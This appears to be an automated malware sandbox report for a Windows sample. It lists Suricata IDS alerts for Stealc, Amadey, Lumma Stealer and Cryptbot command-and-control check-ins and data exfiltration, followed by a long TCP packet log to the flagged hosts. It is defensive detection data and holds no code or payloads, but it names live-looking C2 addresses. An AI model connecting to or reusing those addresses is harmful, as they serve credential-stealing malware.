Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6963e4	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-30T22:52:28.411655+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:52:28.877210+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:52:29.209008+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.9	49705	TCP
2024-11-30T22:52:29.553047+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:52:29.884675+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.9	49705	TCP
2024-11-30T22:52:31.369192+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:52:32.111361+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49705	185.215.113.206	80	TCP
2024-11-30T22:52:59.231331+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:01.091626+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:02.431206+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:03.532317+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:07.030338+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:08.112194+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49739	185.215.113.206	80	TCP
2024-11-30T22:53:13.819402+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49741	185.215.113.16	80	TCP
2024-11-30T22:54:07.484785+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	49807	185.215.113.43	80	TCP
2024-11-30T22:54:12.038680+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49818	31.41.244.11	80	TCP
2024-11-30T22:54:16.876345+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.9	49813	TCP
2024-11-30T22:54:18.267557+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49833	185.215.113.43	80	TCP
2024-11-30T22:54:19.798921+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49836	31.41.244.11	80	TCP
2024-11-30T22:54:31.397316+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49861	185.215.113.43	80	TCP
2024-11-30T22:54:32.905522+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49867	31.41.244.11	80	TCP
2024-11-30T22:54:44.132947+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49895	185.215.113.43	80	TCP
2024-11-30T22:54:46.186763+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49899	104.21.21.16	443	TCP
2024-11-30T22:54:49.434954+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.9	49908	185.215.113.43	80	TCP
2024-11-30T22:54:51.036041+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49912	185.215.113.16	80	TCP
2024-11-30T22:54:56.995042+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49925	104.21.16.9	443	TCP
2024-11-30T22:54:58.125765+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49925	104.21.16.9	443	TCP
2024-11-30T22:54:58.125765+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49925	104.21.16.9	443	TCP
2024-11-30T22:54:58.818357+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49928	185.215.113.43	80	TCP
2024-11-30T22:54:59.429585+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49932	104.21.16.9	443	TCP
2024-11-30T22:55:00.232719+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49932	104.21.16.9	443	TCP
2024-11-30T22:55:00.232719+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49932	104.21.16.9	443	TCP
2024-11-30T22:55:00.328824+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49935	185.215.113.16	80	TCP
2024-11-30T22:55:01.734177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49939	104.21.16.9	443	TCP
2024-11-30T22:55:04.006948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49945	104.21.16.9	443	TCP
2024-11-30T22:55:05.047074+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49945	104.21.16.9	443	TCP
2024-11-30T22:55:06.595886+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49952	104.21.16.9	443	TCP
2024-11-30T22:55:07.475599+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49954	185.215.113.43	80	TCP
2024-11-30T22:55:08.159565+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49956	34.17.28.197	80	TCP
2024-11-30T22:55:08.461879+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49955	185.215.113.206	80	TCP
2024-11-30T22:55:09.072394+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49960	185.215.113.16	80	TCP
2024-11-30T22:55:09.290269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49963	104.21.16.9	443	TCP
2024-11-30T22:55:09.863058+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49965	34.17.28.197	80	TCP
2024-11-30T22:55:12.386690+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49972	104.21.16.9	443	TCP
2024-11-30T22:55:13.050358+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49974	104.21.16.9	443	TCP
2024-11-30T22:55:13.222861+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.9	49973	185.215.113.43	80	TCP
2024-11-30T22:55:14.003865+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49974	104.21.16.9	443	TCP
2024-11-30T22:55:14.003865+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49974	104.21.16.9	443	TCP
2024-11-30T22:55:15.628679+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49981	185.215.113.16	80	TCP
2024-11-30T22:55:15.671651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49991	104.21.16.9	443	TCP
2024-11-30T22:55:16.758395+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49991	104.21.16.9	443	TCP
2024-11-30T22:55:16.758395+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49991	104.21.16.9	443	TCP
2024-11-30T22:55:17.512124+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49998	104.21.16.9	443	TCP
2024-11-30T22:55:18.658132+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49998	104.21.16.9	443	TCP
2024-11-30T22:55:18.775532+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	50001	104.26.12.42	443	TCP
2024-11-30T22:55:20.298286+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	50004	185.215.113.16	80	TCP
2024-11-30T22:55:21.683301+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	50009	104.21.16.9	443	TCP
2024-11-30T22:55:24.100142+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	50015	185.215.113.206	80	TCP
2024-11-30T22:55:24.137302+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	50016	104.21.16.9	443	TCP
2024-11-30T22:55:24.947758+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	50017	185.215.113.43	80	TCP
2024-11-30T22:55:26.927283+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	50024	104.21.16.9	443	TCP
2024-11-30T22:55:29.353634+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	50032	104.21.16.9	443	TCP
2024-11-30T22:55:31.836866+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	50045	104.21.16.9	443	TCP
2024-11-30T22:55:33.058444+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.9	50045	104.21.16.9	443	TCP
2024-11-30T22:55:34.341172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	50052	104.21.16.9	443	TCP
2024-11-30T22:55:35.327155+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	50052	104.21.16.9	443	TCP
2024-11-30T22:55:36.820442+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	50060	185.215.113.16	80	TCP
2024-11-30T22:55:41.139075+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	50074	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 22:52:18.536278963 CET	49676	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:18.536299944 CET	49675	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:18.817562103 CET	49674	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:21.848764896 CET	49677	443	192.168.2.9	20.189.173.11
Nov 30, 2024 22:52:26.376354933 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:26.496345997 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:26.496570110 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:26.496695995 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:26.616636038 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:27.934715986 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:27.934814930 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:27.938090086 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:28.058022976 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:28.145631075 CET	49676	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:28.145643950 CET	49675	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:28.411567926 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:28.411654949 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:28.413103104 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:28.426944971 CET	49674	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:28.533082008 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:28.877110004 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:28.877209902 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:28.877391100 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:28.877449036 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.087455988 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.087528944 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.088953018 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.209007978 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.552954912 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.553046942 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.553215027 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.553272963 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.553481102 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.553530931 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.553776979 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.553790092 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.553836107 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.554389000 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.554452896 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.554889917 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.554944992 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.562786102 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.562881947 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.763242006 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:29.763345957 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.764728069 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:29.884675026 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.227823973 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.227876902 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:30.270265102 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:30.270340919 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:30.390139103 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390325069 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390338898 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390398979 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390412092 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390474081 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390505075 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.390517950 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:30.991425037 CET	443	49704	23.206.229.209	192.168.2.9
Nov 30, 2024 22:52:30.991556883 CET	49704	443	192.168.2.9	23.206.229.209
Nov 30, 2024 22:52:31.369105101 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:31.369191885 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:31.650033951 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:31.769948006 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.111218929 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.111361027 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.111423969 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.111476898 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.113532066 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.113605022 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.113786936 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.113847971 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.121942043 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.122031927 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.122208118 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.122262001 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.130374908 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.130460024 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.130650043 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.130703926 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.138803005 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.138896942 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.139246941 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.139329910 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.147222042 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.147308111 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.147551060 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.147617102 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.242278099 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.242345095 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.242748976 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.242829084 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.247129917 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.247193098 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.247370958 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.247428894 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.251682043 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.251744986 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.251920938 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.251991034 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.260109901 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.260190964 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.260390043 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.260437012 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.268520117 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.268572092 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.268759966 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.268801928 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.323004961 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.323173046 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.323179007 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.323226929 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.325964928 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.326049089 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.328809023 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.328885078 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.328989983 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.329047918 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.336400032 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.336479902 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.336951017 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.336996078 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.345175982 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.345191956 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.345252037 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.354397058 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.354480028 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.354826927 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.354883909 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.362221956 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.362282038 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.362459898 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.362509966 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.370619059 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.370695114 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.373817921 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.373866081 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.374166012 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.374207973 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.380769014 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.380846024 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.381546974 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.381613016 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.381819963 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.381866932 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.388273954 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.388287067 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.388381004 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.395502090 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.395581961 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.395795107 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.395848989 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.402380943 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.402455091 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.452533007 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.452625990 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.452886105 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.452954054 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.455774069 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.455833912 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.456021070 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.456069946 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.462151051 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.462328911 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.462402105 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.462470055 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.468601942 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.468663931 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.468842983 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.468904018 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.475008011 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.475065947 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.475284100 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.475362062 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.481496096 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.481560946 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.481724977 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.481798887 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.487925053 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.487979889 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.488189936 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.488240004 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.494407892 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.494466066 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.494663000 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.494718075 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.500818968 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.500901937 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.501184940 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.501235008 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.532073975 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.532155037 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.532293081 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.532351971 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.534068108 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.534141064 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.534224033 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.534279108 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.537723064 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.537774086 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.539088964 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.539150953 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.539371967 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.539474964 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.542892933 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.542965889 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.543138027 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.543185949 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.546710968 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.546762943 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.546957016 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.547000885 CET	49705	80	192.168.2.9	185.215.113.206
Nov 30, 2024 22:52:32.550493002 CET	80	49705	185.215.113.206	192.168.2.9
Nov 30, 2024 22:52:32.550544024 CET	49705	80	192.168.2.9	185.215.113.206
